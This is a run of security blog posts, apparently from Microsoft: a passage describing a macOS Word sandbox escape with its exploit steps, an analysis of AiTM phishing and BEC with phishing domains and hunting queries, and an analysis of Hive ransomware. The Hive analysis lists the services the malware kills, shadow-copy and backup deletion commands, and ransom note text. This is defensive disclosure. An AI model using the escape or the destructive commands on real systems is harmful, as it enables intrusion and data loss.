Our second attempt was to use application extensibility features. For example, Terminal would run the default macOS shell (zsh), which would then run arbitrary commands from files like ~/.zshenv before running its own command line. This meant that dropping a .zshenv file in the user’s home directory and launching the Terminal app would cause the sandbox escape. However, due to Word’s sandbox rules, dropping a .zshenv file wasn’t straightforward, as the rules only allowed an application to write to files that begin with the “~$” prefix.

However, there is an interesting way of writing such a file indirectly. macOS was shipped with an application called Archive Utility responsible of extracting archive files (such as ZIP files). Such archives were extracted without any user interaction, and the files inside an archive were extracted in the same directory as the archive itself. Therefore, our second POC worked as follows:

  1. Prepare the payload by creating a .zshenv file with arbitrary commands and placing it in a ZIPfile. Encode the ZIPfile contents in a Word macro and drop those contents into a file “~$exploit.zip” in the user’s home directory.
  2. Launch Archive Utility with the open command on the “~$exploit.zip” file. Archive Utility ran outside the sandbox (since it’s the child process of /usr/bin/open) and was therefore permitted to create files with arbitrary names. By default, Archive Utility extracted the files next to the archive itself—in our case, the user’s home directory. Therefore, this step successfully created a .zshenv file with arbitrary contents in the user’s home directory.
  3. Launch the Terminal app with the open command. Since Terminal hosted zsh and zsh ran commands from the .zshenv file, the said file could escape the Word sandbox successfully.
Screenshot of a command line interface showing proof-of-concept exploit code.
Figure 4. Preparing a Word macro with our sandbox escape for an internal Red Team operation

Perception Point’s CVE-2021-30864

In October 2021, Perception Point published a blog post that discussed a similar finding (and more elegant, in our opinion). In the said post, Perception Point released details about their sandbox escape (now identified as CVE-2021-30864), which used the following facts:

  1. Every sandboxed process had its own container directory that’s used as a “scratch space.” The sandboxed process could write arbitrary files, including arbitrary filenames, to that directory unrestricted.
  2. The open command had an interesting –env option that could set or override arbitrary environment variables for the launched app.

Therefore, Perception Point’s POC exploit was cleverly simple:

  1. Drop a .zshenv file in the container directory. This was allowed because sandbox rules weren’t enforced on that directory.
  2. Launch Terminal with the open command but use the –env option to override the HOME environment variable to point to the container directory. This made zsh consider the user’s home directory to be the container directory, and run commands from the planted .zshenv file.

Apple has since patched the vulnerability Perception Point reported in the latest version of macOS, Monterey. While we could still create the “~$exploit.zip” file in the user’s home directory, using open to launch the Archive Utility on the ZIP file now resulted in it being extracted to the Downloads folder. While this is an interesting behavior, we could no longer use it for sandbox escape purposes.

Final exploit attempt: Revisiting the ‘open’ command

After discovering that Apple has fixed both variants that abuse .zshenv, , we decided to examine all the command line options of the open command. Soon after, we came across the following:

Screenshot of a command line interface with the following text:

--stdin PATH
       Launches the application with stdin connected to PATH.
Figure 5. The –stdin option in the open utility as presented by its manual entry

As mentioned earlier, we couldn’t run Python with a dropped .py file since Python refuses to run files with the “com.apple.quarantine” extended attribute. We also considered abusing the PYTHONSTARTUP environment variable, but Apple’s fix to CVE-2021-30864 apparently prevented that option, too. However, –stdin bypassed the “com.apple.quarantine” extended attribute restriction, as there was no way for Python to know that the contents from its standard input originated from a quarantined file.

Our POC exploit thus became simply as follows:

  1. Drop a “~$exploit.py” file with arbitrary Python commands.
  2. Run open –stdin=’~$exploit.py’ -a Python, which runs the Python app with our dropped file serving as its standard input. Python happily runs our code, and since it’s a child process of launchd, it isn’t bound to Word’s sandbox rules.
Screenshot of a proof-of-concept exploit code.
Figure 6. Sample minimal POC exploit code

We also came up with a version that’s short enough to be a Twitter post:

Screenshot of a proof-of-concept exploit code.
Figure 7. “Tweetable” POC exploit

Detecting App Sandbox escapes with Microsoft Defender for Endpoint

Since our initial discovery of leveraging Launch Services in macOS for generic sandbox escapes, we have been using our POC exploits in Red Team operations to emulate end-to-end attacks against Microsoft Defender for Endpoint, improve its capabilities, and challenge our detections. Shortly after our Red Team used our first POC exploit, our Blue Team members used it to train artificial intelligence (AI) models to detect our exploit not only in Microsoft Office but also on any app used for a similar Launch Services-based sandbox escape.

After we learned of Perception Point’s technique and created our own new exploit technique (the Python POC), our Red Team saw another opportunity to fully test our own detection durability. Indeed, the same set of detection rules that handled our first sandbox escape vulnerability still turned out to be durable—even before the vulnerability related to our second POC exploit was patched.

Partial screenshot of Microsoft Defender for Endpoint detecting an Office sandbox escape vulnerability. 

The left panel shows the Alert Story with timestamps. The right panel shows the Alert details, including category, MITRE ATT&CK techniques, detection source, service source, detection status, and other information.
Figure 8. Microsoft Defender for Endpoint detecting Office sandbox escape

For Defender for Endpoint customers, such detection durability feeds into the product’s threat and vulnerability management capabilities, which allows them to quickly discover, prioritize, and remediate misconfigurations and vulnerabilities—including those affecting non-Windows devices—through a unified security console.

Learn how Microsoft Defender for Endpoint delivers a complete endpoint security solution across all platforms.

Jonathan Bar Or
Microsoft 365 Defender Research Team

The post Uncovering a macOS App Sandbox escape vulnerability: A deep dive into CVE-2022-26706 appeared first on Microsoft Security Blog.

From cookie theft to BEC: Attackers use AiTM phishing sites as entry point to further financial fraud

July 12th, 2022 No comments

A large-scale phishing campaign that used adversary-in-the-middle (AiTM) phishing sites stole passwords, hijacked a user’s sign-in session, and skipped the authentication process even if the user had enabled multifactor authentication (MFA). The attackers then used the stolen credentials and session cookies to access affected users’ mailboxes and perform follow-on business email compromise (BEC) campaigns against other targets. Based on our threat data, the AiTM phishing campaign attempted to target more than 10,000 organizations since September 2021.

Diagram containing icons and arrows illustrating the sequence of steps in an AiTM phishing campaign.
Figure 1. Overview of AiTM phishing campaign and follow-on BEC

Phishing remains to be one of the most common techniques attackers use in their attempts to gain initial access to organizations. According to the 2021 Microsoft Digital Defense Report, reports of phishing attacks doubled in 2020, and phishing is the most common type of malicious email observed in our threat signals. MFA provides an added security layer against credential theft, and it is expected that more organizations will adopt it, especially in countries and regions where even governments are mandating it. Unfortunately, attackers are also finding new ways to circumvent this security measure. 

In AiTM phishing, attackers deploy a proxy server between a target user and the website the user wishes to visit (that is, the site the attacker wishes to impersonate). Such a setup allows the attacker to steal and intercept the target’s password and the session cookie that proves their ongoing and authenticated session with the website. Note that this is not a vulnerability in MFA; since AiTM phishing steals the session cookie, the attacker gets authenticated to a session on the user’s behalf, regardless of the sign-in method the latter uses.

Microsoft 365 Defender detects suspicious activities related to AiTM phishing attacks and their follow-on activities, such as session cookie theft and attempts to use the stolen cookie to sign into Exchange Online. However, to further protect themselves from similar attacks, organizations should also consider complementing MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals like user or group membership, IP location information, and device status, among others. 

While AiTM phishing isn’t new, our investigation allowed us to observe and analyze the follow-on activities stemming from the campaign—including cloud-based attack attempts—through cross-domain threat data from Microsoft 365 Defender. These observations also let us improve and enrich our solutions’ protection capabilities. This campaign thus also highlights the importance of building a comprehensive defense strategy. As the threat landscape evolves, organizations need to assume breach and understand their network and threat data to gain complete visibility and insight into complex end-to-end attack chains.

In this blog, we’ll share our technical analysis of this phishing campaign and the succeeding payment fraud attempted by the attackers. We’ll also provide guidance for defenders on protecting organizations from this threat and how Microsoft security technologies detect it.

How AiTM phishing works

Every modern web service implements a session with a user after successful authentication so that the user doesn’t have to be authenticated at every new page they visit. This session functionality is implemented through a session cookie provided by an authentication service after initial authentication. The session cookie is proof for the web server that the user has been authenticated and has an ongoing session on the website. In AiTM phishing, an attacker attempts to obtain a target user’s session cookie so they can skip the whole authentication process and act on the latter’s behalf.  

To do this, the attacker deploys a webserver that proxies HTTP packets from the user that visits the phishing site to the target server the attacker wishes to impersonate and the other way around. This way, the phishing site is visually identical to the original website (as every HTTP is proxied to and from the original website). The attacker also doesn’t need to craft their own phishing site like how it’s done in conventional phishing campaigns. The URL is the only visible difference between the phishing site and the actual one. 

Figure 2 below illustrates the AiTM phishing process:

Diagram with icons illustrates a phishing site, which is connected to a malicious proxy server, in between a user and the target website the user is trying to access. Texts and arrows describe the process of how the AiTM phishing website intercepts the authentication process.
Figure 2. AiTM phishing website intercepting the authentication process

The phishing page has two different Transport Layer Security (TLS) sessions—one with the target and another with the actual website the target wants to access. These sessions mean that the phishing page practically functions as an AiTM agent, intercepting the whole authentication process and extracting valuable data from the HTTP requests such as passwords and, more importantly, session cookies. Once the attacker obtains the session cookie, they can inject it into their browser to skip the authentication process, even if the target’s MFA is enabled. 

The AiTM phishing process can currently be automated using open-source phishing toolkits and other online resources. Among the widely-used kits include Evilginx2Modlishka, and Muraena.  

Tracking an AiTM phishing campaign

Using Microsoft 365 Defender threat data, we detected multiple iterations of an AiTM phishing campaign that attempted to target more than 10,000 organizations since September 2021. These runs appear to be linked together and target Office 365 users by spoofing the Office online authentication page.

Based on our analysis, these campaign iterations use the Evilginx2 phishing kit as their AiTM infrastructure. We also uncovered similarities in their post-breach activities, including sensitive data enumeration in the target’s mailbox and payment frauds.

Initial access

In one of the runs we’ve observed, the attacker sent emails with an HTML file attachment to multiple recipients in different organizations. The email message informed the target recipients that they had a voice message.

Screenshot of a phishing email message with an HTML file attachment.
Figure 3. Sample phishing email with HTML file attachment

When a recipient opened the attached HTML file, it was loaded in the user’s browser and displayed a page informing the user that the voice message was being downloaded. Note, however, that the download progress bar was hardcoded in the HTML file, so no MP3 file was being fetched.

Partial screenshot of an HTML page with the text "Please Wait while we fetch your voice message." Below the text is a progress bar indicator with the label "Downloading progress:".
Figure 4. HTML file attachment loaded in the target’s browser
Screenshot of an HTML source code with redacted email address.
Figure 5. Source code of the HTML attachment

Instead, the page redirected the user to a redirector site:

Partial screenshot of a web page that has the Microsoft logo and the following message:
"You will be redirected back to your mail box with audio sent in 1 hour...

Sign-In to continue".
Figure 6. Screenshot of the redirector site

This redirector acted as a gatekeeper to ensure the target user was coming from the original HTML attachment. To do this, it first validated if the expected fragment value in the URL—in this case, the user’s email address encoded in Base64—exists. If the said value existed, this page concatenated the value on the phishing site’s landing page, which was also encoded in Base64 and saved in the “link” variable (see Figure 7 below).

Screenshot of an HTML source code containing redirection logic.
Figure 7. A redirection logic included in the <script> tag of the redirector site

By combining the two values, the succeeding phishing landing page automatically filled out the sign-in page with the user’s email address, thus enhancing its social engineering lure. This technique was also the campaign’s attempt to prevent conventional anti-phishing solutions from directly accessing phishing URLs.

Note that on other instances, we observed that the redirector page used the following URL format:

hxxp://[username].[wildcard domain].[tld]/#[user email encoded in Base64]

In this format, the target’s username was used as part of an infinite subdomains technique, which we have previously discussed in other phishing campaigns.

Partial screenshot of a web page that has the Microsoft logo and a "please wait..." message.
Figure 8. Evasive redirector site loaded on the target’s browser

After the redirection, the user finally landed on an Evilginx2 phishing site with their username as a fragment value. For example:

hxxp://login[.]nmmnvvx[.]xyz/yamRSmFG#[username]@[organizationname].[tld]
Screenshot of a spoofed sign-in page with Microsoft logo.
Figure 9. Sample phishing landing page

The phishing site proxied the organization’s Azure Active Directory (Azure AD) sign-in page, which is typically login.microsoftonline.com. If the organization had configured their Azure AD to include their branding, the phishing site’s landing page also contained the same branding elements.

Partial screenshot of a mockup sign-in page with Contoso logo.
Figure 10. A mockup of a phishing landing page that retrieves the Azure AD branding of an organization

Once the target entered their credentials and got authenticated, they were redirected to the legitimate office.com page. However, in the background, the attacker intercepted the said credentials and got authenticated on the user’s behalf. This allowed the attacker to perform follow-on activities—in this case, payment fraud—from within the organization.

Post-breach BEC

Payment fraud is a scheme wherein an attacker tricks a fraud target into transferring payments to attacker-owned accounts. It can be achieved by hijacking and replying to ongoing finance-related email threads in the compromised account’s mailbox and luring the fraud target to send money through fake invoices, among others.

Based on our analysis of Microsoft 365 Defender threat data and our investigation of related threat alerts from our customers, we discovered that it took as little time as five minutes after credential and session theft for an attacker to launch their follow-on payment fraud. From our observation, after a compromised account signed into the phishing site for the first time, the attacker used the stolen session cookie to authenticate to Outlook online (outlook.office.com). In multiple cases, the cookies had an MFA claim, which means that even if the organization had an MFA policy, the attacker used the session cookie to gain access on behalf of the compromised account.

Finding a target

The following days after the cookie theft, the attacker accessed finance-related emails and file attachments files every few hours. They also searched for ongoing email threads where payment fraud would be feasible. In addition, the attacker deleted from the compromised account’s Inbox folder the original phishing email they sent to hide traces of their initial access.

These activities suggest the attacker attempted to commit payment fraud manually. They also did this in the cloud—they used Outlook Web Access (OWA) on a Chrome browser and performed the abovementioned activities while using the compromised account’s stolen session cookie.

Once the attacker found a relevant email thread, they proceeded with their evasion techniques. Because they didn’t want the compromised account’s user to notice any suspicious mailbox activities, the attacker created an Inbox rule with the following logic to hide any future replies from the fraud target:

“For every incoming email where sender address contains [domain name of the fraud target], move the mail to “Archive” folder and mark it as read.”

Conducting payment fraud

Right after the rule was set, the attacker proceeded to reply to ongoing email threads related to payments and invoices between the target and employees from other organizations, as indicated in the created Inbox rule. The attacker then deleted their replies from the compromised account’s Sent Items and Deleted Items folders.

Several hours after the initial fraud attempt was performed, the attacker signed in once every few hours to check if the fraud target replied to their email. In multiple instances, the attacker communicated with the target through emails for a few days. After sending back responses, they deleted the target’s replies from the Archive folder. They also deleted their emails from the Sent Items folder.

On one occasion, the attacker conducted multiple fraud attempts simultaneously from the same compromised mailbox. Every time the attacker found a new fraud target, they updated the Inbox rule they created to include these new targets’ organization domains.

Below is a summary of the campaign’s end-to-end attack chain based on threat data from Microsoft 365 Defender:

Timeline with bulleted text lists summarizing the phishing campaign's post-breach BEC activities. The lists contain additional technical details, application client IDs, properties, and events.
Figure 11. AiTM phishing campaign and follow-on BEC in the context of Microsoft 365 Defender threat data

Defending against AiTM phishing and BEC

This AiTM phishing campaign is another example of how threats continue to evolve in response to the security measures and policies organizations put in place to defend themselves against potential attacks. And since credential phishing was leveraged in many of the most damaging attacks last year, we expect similar attempts to grow in scale and sophistication.

While AiTM phishing attempts to circumvent MFA, it’s important to underscore that MFA implementation remains an essential pillar in identity security. MFA is still very effective at stopping a wide variety of threats; its effectiveness is why AiTM phishing emerged in the first place. Organizations can thus make their MFA implementation “phish-resistant” by using solutions that support Fast ID Online (FIDO) v2.0 and certificate-based authentication.

Defenders can also complement MFA with the following solutions and best practices to further protect their organizations from such types of attacks:

  • Enable conditional access policies. Conditional access policies are evaluated and enforced every time an attacker attempts to use a stolen session cookie. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as compliant devices or trusted IP address requirements.
  • Invest in advanced anti-phishing solutions thatmonitor and scan incoming emails and visited websites. For example, organizations can leverage web browsers that can automatically identify and block malicious websites, including those used in this phishing campaign.
  • Continuously monitor for suspicious or anomalous activities:
    • Hunt for sign-in attempts with suspicious characteristics (for example, location, ISP, user agent, use of anonymizer services).
    • Hunt for unusual mailbox activities such as the creation of Inbox rules with suspicious purposes or unusual amounts of mail item access events by untrusted IP addresses or devices.

Coordinated threat defense with Microsoft 365 Defender

Microsoft 365 Defender provides comprehensive protection against this AiTM phishing campaign by correlating threat data from various domains. It also coordinates threat defense against the end-to-end attack chain using multiple solutions and has advanced hunting capabilities that allow analysts to inspect their environments further and surface this threat.

Leveraging its cross-signal capabilities, Microsoft 365 Defender alerts customers using Microsoft Edge when a session cookie gets stolen through AiTM phishing and when an attacker attempts to replay the stolen session cookie to access Exchange Online:

Partial screenshot of Microsoft 365 Defender displaying the alert "Stolen session cookie was used".
Figure 12. Microsoft 365 Defender detecting an attempt to use a stolen session cookie to sign into Exchange Online

Microsoft 365 Defender’s unique incident correlation technology also lets defenders see all the relevant alerts related to an AiTM phishing attack pieced together into a single comprehensive view, thus allowing them to respond to such incidents more efficiently:

Graphical user interface of Microsoft 365 Defender portal. The left panel displays a bar graph of active alerts. The right panel provides details of the alerts' scope and supporting evidence.
Figure 13. Microsoft 365 Defender incident page correlating all relevant alerts related to an AiTM phishing attempt

Microsoft 365 Defender is backed by threat experts who continuously monitor the computing landscape for new attacker tools and techniques. Their expert monitoring not only helps alert customers of a possible incident (such as a potential cookie theft during an authentication session), their research on the constantly evolving phishing techniques also enriches the threat intelligence that feeds into the abovementioned protection technologies.

Microsoft Defender for Office 365 detects threat activity associated with this phishing campaign through the following email security alerts. Note, however, that these alerts may also be triggered by unrelated threat activity. We’re listing them here because we recommend that these alerts be investigated and remediated immediately.

  • Email messages containing malicious file removed after delivery​. This alert is generated when any messages containing a malicious file are delivered to mailboxes in an organization. Microsoft removes the infected messages from Exchange Online mailboxes using zero-hour auto purge (ZAP) if this event occurs.
  • Email messages from a campaign removed after delivery​. This alert is generated when any messages associated with a campaign are delivered to mailboxes in an organization. Microsoft removes the infected messages from Exchange Online mailboxes using ZAP if this event occurs.

Microsoft Defender for Cloud Apps detects this AiTM phishing and BEC campaigns through the following alerts:

  • Suspicious inbox manipulation rule. The attackers set an Inbox rule to hide their malicious activities. Defender for Cloud Apps identifies such suspicious rules and alerts users when detected.
  • Impossible travel activity. The attackers used multiple proxies or virtual private networks (VPNs) from various countries or regions. Sometimes, their attack attempts happen at the same time the actual user is signed in, thus raising impossible travel alerts.
  • Activity from infrequent country. Because the attackers used multiple proxies or VPNs, on certain occasions, the egress endpoints of these VPN and proxy servers are uncommon for the user, thus raising this alert.

Azure AD Identity Protection automatically detects and remediates identity-based risks. It detects suspicious sign-in attempts and raises any of the following alerts:

  • Anomalous Token. This alert flags a token’s unusual characteristics, such as its token lifetime or played from an unfamiliar location.
  • Unfamiliar sign-in properties. In this phishing campaign, the attackers used multiple proxies or VPNs originating from various countries or regions unfamiliar to the target user.
  • Unfamiliar sign-in properties for session cookies. This alert flags anomalies in the token claims, token age, and other authentication attributes.
  • Anonymous IP address. This alert flags sign-in attempts from anonymous IP addresses (for example, Tor browser or anonymous VPN).

In addition, Continuous Access evaluation (CAE) revokes access in real time when changes in user conditions trigger risks, such as when a user is terminated or moves to an untrusted location.

Learn how you can stop attacks through automated, cross-domain security with Microsoft 365 Defender.

Microsoft 365 Defender Research Team

Microsoft Threat Intelligence Center (MSTIC)

Appendix

Indicators of compromise (IOCs)

Redirector domains

  • 32sssaawervvvv[.]biz
  • adminmmi[.]biz
  • auth2022[.]live
  • cleanifl[.]com
  • docpmsi[.]us
  • vrtlsrvmapp[.]biz
  • vrtofcvm[.]live

Phishing site domains  

  • login[.]actionspsort[.]cam
  • login[.]akasmisoft[.]xyz
  • login[.]aueuth11[.]live
  • login[.]auth009[.]xyz
  • login[.]auth2022[.]live
  • login[.]auth83kl[.]live
  • login[.]bittermann-hh[.]co
  • login[.]cbhbanlc[.]com
  • login[.]cleanifl[.]com
  • login[.]clfonl365[.]xyz
  • login[.]gddss36[.]live
  • login[.]grodno-pl[.]com
  • login[.]hfs923[.]shop
  • login[.]karlandpearson[.]com
  • login[.]klm2136[.]click
  • login[.]login-micro[.]mcrsfts-passwdupdate[.]com
  • login[.]mcrosfts-updata[.]live
  • login[.]mcrosfts-update[.]cloud
  • login[.]mcrosfts-update[.]digital
  • login[.]mcrosftts-update[.]cloud
  • login[.]mcrsft-audio[.]xyz
  • login[.]mcrsfts-cloud[.]live
  • login[.]mcrsfts-passwd[.]cloud
  • login[.]mcrsfts-passwd[.]digital
  • login[.]mcrsfts-passwdupdate[.]com
  • login[.]mcrsfts-update[.]cloud
  • login[.]mcrsfts-update[.]digital
  • login[.]mcrsfts-virtualofficevm[.]com
  • login[.]mcrsftsvm-app[.]digital
  • login[.]mcrsftsvm-app[.]live
  • login[.]mcrsfts-voiceapp[.]digital
  • login[.]mcrsftsvoice-mail[.]cloud
  • login[.]microsecurity[.]us
  • login[.]microstoff[.]xyz
  • login[.]mljs365[.]xyz
  • login[.]mwhhncndn[.]xyz
  • login[.]mycrsfts-passwd[.]live
  • login[.]qwwxthn[.]xyz
  • login[.]seafoodsconnection[.]com
  • login[.]sunmarks[.]co[.]uk
  • login[.]tfosorcimonline[.]xyz
  • login[.]whitmanlab[.]uk
  • login[.]yi087011[.]xyz

Advanced hunting queries  

When an attacker uses a stolen session cookie, the “SessionId” attribute in the AADSignInEventBeta table will be identical to the SessionId value used in the authentication process against the phishing site. Use this query to search for cookies that were first seen after OfficeHome application authentication (as seen when the user authenticated to the AiTM phishing site) and then seen being used in other applications in other countries:

let OfficeHomeSessionIds = 
AADSignInEventsBeta
| where Timestamp > ago(1d)
| where ErrorCode == 0
| where ApplicationId == "4765445b-32c6-49b0-83e6-1d93765276ca" //OfficeHome application 
| where ClientAppUsed == "Browser" 
| where LogonType has "interactiveUser" 
| summarize arg_min(Timestamp, Country) by SessionId;
AADSignInEventsBeta
| where Timestamp > ago(1d)
| where ApplicationId != "4765445b-32c6-49b0-83e6-1d93765276ca"
| where ClientAppUsed == "Browser" 
| project OtherTimestamp = Timestamp, Application, ApplicationId, AccountObjectId, AccountDisplayName, OtherCountry = Country, SessionId
| join OfficeHomeSessionIds on SessionId
| where OtherTimestamp > Timestamp and OtherCountry != Country

Use this query to summarize for each user the countries that authenticated to the OfficeHome application and find uncommon or untrusted ones:  

AADSignInEventsBeta 
| where Timestamp > ago(7d) 
| where ApplicationId == "4765445b-32c6-49b0-83e6-1d93765276ca" //OfficeHome application 
| where ClientAppUsed == "Browser" 
| where LogonType has "interactiveUser" 
| summarize Countries = make_set(Country) by AccountObjectId, AccountDisplayName 

Use this query to find new email Inbox rules created during a suspicious sign-in session:

//Find suspicious tokens tagged by AAD "Anomalous Token" alert
let suspiciousSessionIds = materialize(
AlertInfo
| where Timestamp > ago(7d)
| where Title == "Anomalous Token"
| join (AlertEvidence | where Timestamp > ago(7d) | where EntityType == "CloudLogonSession") on AlertId
| project sessionId = todynamic(AdditionalFields).SessionId);
//Find Inbox rules created during a session that used the anomalous token
let hasSuspiciousSessionIds = isnotempty(toscalar(suspiciousSessionIds));
CloudAppEvents
| where hasSuspiciousSessionIds
| where Timestamp > ago(21d)
| where ActionType == "New-InboxRule"
| where RawEventData.SessionId in (suspiciousSessionIds)

The post From cookie theft to BEC: Attackers use AiTM phishing sites as entry point to further financial fraud appeared first on Microsoft Security Blog.

Hive ransomware gets upgrades in Rust

Hive ransomware is only about one year old, having been first observed in June 2021, but it has grown into one of the most prevalent ransomware payloads in the ransomware-as-a-service (RaaS) ecosystem. With its latest variant carrying several major upgrades, Hive also proves it’s one of the fastest evolving ransomware families, exemplifying the continuously changing ransomware ecosystem.

The upgrades in the latest variant are effectively an overhaul: the most notable changes include a full code migration to another programming language and the use of a more complex encryption method. The impact of these updates is far-reaching, considering that Hive is a RaaS payload that Microsoft has observed in attacks against organizations in the healthcare and software industries by large ransomware affiliates like DEV-0237.

Microsoft Threat Intelligence Center (MSTIC) discovered the new variant while analyzing detected Hive ransomware techniques for dropping .key files. We know that Hive drops its encryption keys file, which contains encrypted keys used to decrypt encrypted files, and uses a consistent naming pattern:

[KEY_NAME].key.[VICTIM_IDENTIFIER] 
(e.g., BiKtPupMjgyESaene0Ge5d0231uiKq1PFMFUEBNhAYv_.key.ab123)

The said .key files were missing the [VICTIM_IDENTIFIER] part of the file name, prompting deeper analysis of the Hive ransomware that dropped them. This analysis led to the discovery of the new Hive variant and its multiple versions, which exhibit slightly different available parameters in the command line and the executed processes.

Analyzing these patterns in samples of the new variants, we discovered even more samples, all with a low detection rate and none being correctly identified as Hive. In this blog we will share our in-depth analysis of the new Hive variant, including its main features and upgrades, with the aim of equipping analysts and defenders with information to better identify and protect organizations against malware attacks relying on Hive.

Analysis and key findings

The switch from GoLang to Rust

The main difference between the new Hive variant and old ones is the programming language used. The old variants were written in Go (also referred to as GoLang), while the new Hive variant is written in Rust.

Hive isn’t the first ransomware written in Rust—BlackCat, another prevalent ransomware, was the first. By switching the underlying code to Rust, Hive benefits from the following advantages that Rust has over other programming languages:

  • It offers memory, data type, and thread safety
  • It has deep control over low-level resources
  • It has a user-friendly syntax
  • It has several mechanisms for concurrency and parallelism, thus enabling fast and safe file encryption
  • It has a good variety of cryptographic libraries
  • It’s relatively more difficult to reverse-engineer

String encryption

The new Hive variant uses string encryption that can make it more evasive. Strings reside in the .rdata section and are decrypted during runtime by XORing with constants. The constants that are used to decrypt the same string sometimes differ across samples, making them an unreliable basis for detection.

For example, let’s look at the section where part of the string “!error no flag -u <login>:<password> provided” is decrypted. In one sample (SHA-256: f4a39820dbff47fa1b68f83f575bc98ed33858b02341c5c0464a49be4e6c76d3), the constants are 0x9F2E3F1F and 0x95C9:

Partial screenshot of a code-level analysis of a Hive sample.
Figure 1 – String decryption using constants 0x9F2E3F1F and 0x95C9

In another sample (SHA-256: 6e5d49f604730ef4c05cfe3f64a7790242e71b4ecf1dc5109d32e811acf0b053), the constants are 0x3ECF7CC4 and 0x198F:        

Partial screenshot of a code-level analysis of a Hive sample.
Figure 2 – String decryption using constants 0x3ECF7CC4 and 0x198F

Some samples do share constants when decrypting the same string. For example, let’s look where the parameter string “-da” is decrypted. In one sample (SHA-256: 88b1d8a85bf9101bc336b01b9af4345ed91d3ec761554d167fe59f73af73f037), the constants are 0x71B4 and 2:

Partial screenshot of a code-level analysis of a Hive sample.
Figure 3 – String decryption using constants 0x71B4 and 2

In another sample (SHA-256: 33744c420884adf582c46a4b74cbd9c145f2e15a036bb1e557e89d6fd428e724), the constants are the same:

Partial screenshot of a code-level analysis of a Hive sample.
Figure 4 – String decryption in a different sample also using constants 0x71B4 and 2

Command-line parameters

In old Hive variants, the username and the password used to access the Hive ransom payment website are embedded in the samples. In the new variant, these credentials must be supplied in the command line under the “-u” parameter, which means that they can’t be obtained by analysts from the sample itself.

Partial screenshot of a command prompt showing an error message.
Figure 5 – Without a username and a password, the sample won’t continue its execution

Like most modern ransomware, Hive introduces command-line parameters, which allow attackers flexibility when running the payload by adding or removing functionality. For example, an attacker can choose to encrypt files on remote shares or local files only or select the minimum file size for encryption. In the new Hive variant, we found the following parameters across different samples:

Parameter Functionality
-no-local Don’t encrypt local files
-no-mounted Don’t encrypt files on mounted network shares
-no-discovery Don’t discover network shares
-local-only Encrypt only local files
-network-only Encrypt only files on network shares
-explicit-only Encrypt specific folder(s). For example, ‘-explicit-only c:\mydocs c:\myphotos’
-min-size Minimum file size, in bytes, to encrypt. For example, ‘-min-size 102400’ will encrypt files with size equal or greater than 100kb
-da [Usage is being analyzed.]
-f [Usage is being analyzed.]
-force [Usage is being analyzed.]
-wmi [Usage is being analyzed.]

Overall, it appears different versions have different parameters that are constantly updated. Unlike in previous variants where there was a ‘help’ menu, in the new variant, the attacker must know the parameters beforehand. Since all strings are encrypted, it makes finding the parameters challenging for security researchers.

Stopped services and processes

Like most sophisticated malware, Hive stops services and processes associated with security solutions and other tools that might get in the way of its attack chain. Hive tries to impersonate the process tokens of trustedinstaller.exe and winlogon.exe so it can stop Microsoft Defender Antivirus, among other services.

Hive stops the following services:

windefend, msmpsvc, kavsvc, antivirservice, zhudongfungyu, vmm, vmwp, sql, sap, oracle, mepocs, veeam, backup, vss, msexchange, mysql, sophos, pdfservice, backupexec, gxblr, gxvss, gxclmgrs, gxvcd, gxcimgr, gxmmm, gxvsshwprov, gxfwd, sap, qbcfmonitorservice, qbidpservice, acronisagent, veeam, mvarmor, acrsch2svc

It also stops the following processes:

dbsnmp, dbeng50, bedbh, excel, encsvc, visios, firefox, isqlplussvc, mspub, mydesktopqos, notepad, ocautoupds, ocomm, ocssd, onenote, outlook, sqbcoreservice, sql, steam, tbirdconfig, thunderbird, winword, wordpad, xfssvccon, vxmon, benetns, bengien, pvlsvr, raw_agent_svc, cagservice, sap, qbidpservice, qbcfmonitorservice, teamviewer_service, teamviewer, tv_w32, tv_x64, cvd, saphostexec, sapstartsrv, avscc, dellsystemdetect, enterpriseclient, veeam, thebat, cvfwd, cvods, vsnapvss, msaccess, vaultsvc, beserver, appinfo, qbdmgrn, avagent, spooler, powerpnt, cvmountd, synctime, oracle, wscsvc, winmgmt, *sql*

Launched processes

As part of its ransomware activity, Hive typically runs processes that delete backups and prevent recovery. There are differences between versions, and some samples may not execute all these processes, but one sample that starts the most processes is SHA-256: 481dc99903aa270d286f559b17194b1a25deca8a64a5ec4f13a066637900221e:

  • “vssadmin.exe delete shadows /all /quiet”
  • “wmic.exe shadowcopy delete”
  • “wbadmin.exe delete systemstatebackup”
  • “wbadmin.exe delete catalog -quiet”
  • “bcdedit.exe /set {default} recoveryenabled No”
  • “bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures”
  • “wbadmin.exe delete systemstatebackup -keepVersions:3”

Ransom note

Hive’s ransom note has also changed, with the new version referencing the .key files with their new file name convention and adding a sentence about virtual machines (VMs).

The older variants had an embedded username and password (marked as hidden). In the new variant, the username and password are taken from the command line parameter -u and are labeled test_hive_username and test_hive_password.

Old ransom note text:

 Your network has been breached and all data were encrypted.
Personal data, financial reports and important documents are ready to disclose.
 
To decrypt all the data and to prevent exfiltrated files to be disclosed at 
http://hive[REDACTED].onion/
you will need to purchase our decryption software.
 
Please contact our sales department at:
 
   http://hive[REDACTED].onion/
  
      Login:    [REDACTED]
      Password: [REDACTED]
 
To get an access to .onion websites download and install Tor Browser at:
   https://www.torproject.org/ (Tor Browser is not related to us)
 
 
Follow the guidelines below to avoid losing your data:
 
- Do not modify, rename or delete *.key.abc12 files. Your data will be 
   undecryptable.
- Do not modify or rename encrypted files. You will lose them.
- Do not report to the Police, FBI, etc. They don't care about your business.
   They simply won't allow you to pay. As a result you will lose everything.
- Do not hire a recovery company. They can't decrypt without the key. 
   They also don't care about your business. They believe that they are 
   good negotiators, but it is not. They usually fail. So speak for yourself.
- Do not reject to purchase. Exfiltrated files will be publicly disclosed.

New ransom note text:

Your network has been breached and all data were encrypted.
Personal data, financial reports and important documents are ready to disclose.
 
To decrypt all the data and to prevent exfiltrated files to be disclosed at 
http://hive[REDACTED].onion/
you will need to purchase our decryption software.
 
Please contact our sales department at:
 
   http://hive[REDACTED].onion/
 
      Login:    test_hive_username
      Password: test_hive_password
 
To get an access to .onion websites download and install Tor Browser at:
   https://www.torproject.org/ (Tor Browser is not related to us)
 
 
Follow the guidelines below to avoid losing your data:
 
- Do not delete or reinstall VMs. There will be nothing to decrypt.
- Do not modify, rename or delete *.key files. Your data will be 
   undecryptable.
- Do not modify or rename encrypted files. You will lose them.
- Do not report to the Police, FBI, etc. They don't care about your business.
   They simply won't allow you to pay. As a result you will lose everything.
